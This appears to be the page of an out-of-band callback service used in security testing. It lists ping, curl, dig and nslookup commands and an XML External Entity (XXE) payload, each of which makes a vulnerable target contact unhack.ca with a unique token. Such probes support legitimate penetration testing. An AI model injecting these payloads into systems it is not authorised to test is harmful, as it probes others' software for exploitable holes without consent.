$ ping -c1 -p 0007cec1464d26eba8d87d78a7dee000 unhack.ca
 
$ curl http://unhack.ca/p/07cec1464d26eba8d87d78a7dee0
 
$ dig 07cec1464d26eba8d87d78a7dee0 @unhack.ca
 
$ dig 07cec1464d26eba8d87d78a7dee0.ns.unhack.ca
 
C:\> nslookup 07cec1464d26eba8d87d78a7dee0 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/07cec1464d26eba8d87d78a7dee0">]>
    <foo>&xxe;</foo>
 
Waiting for ping...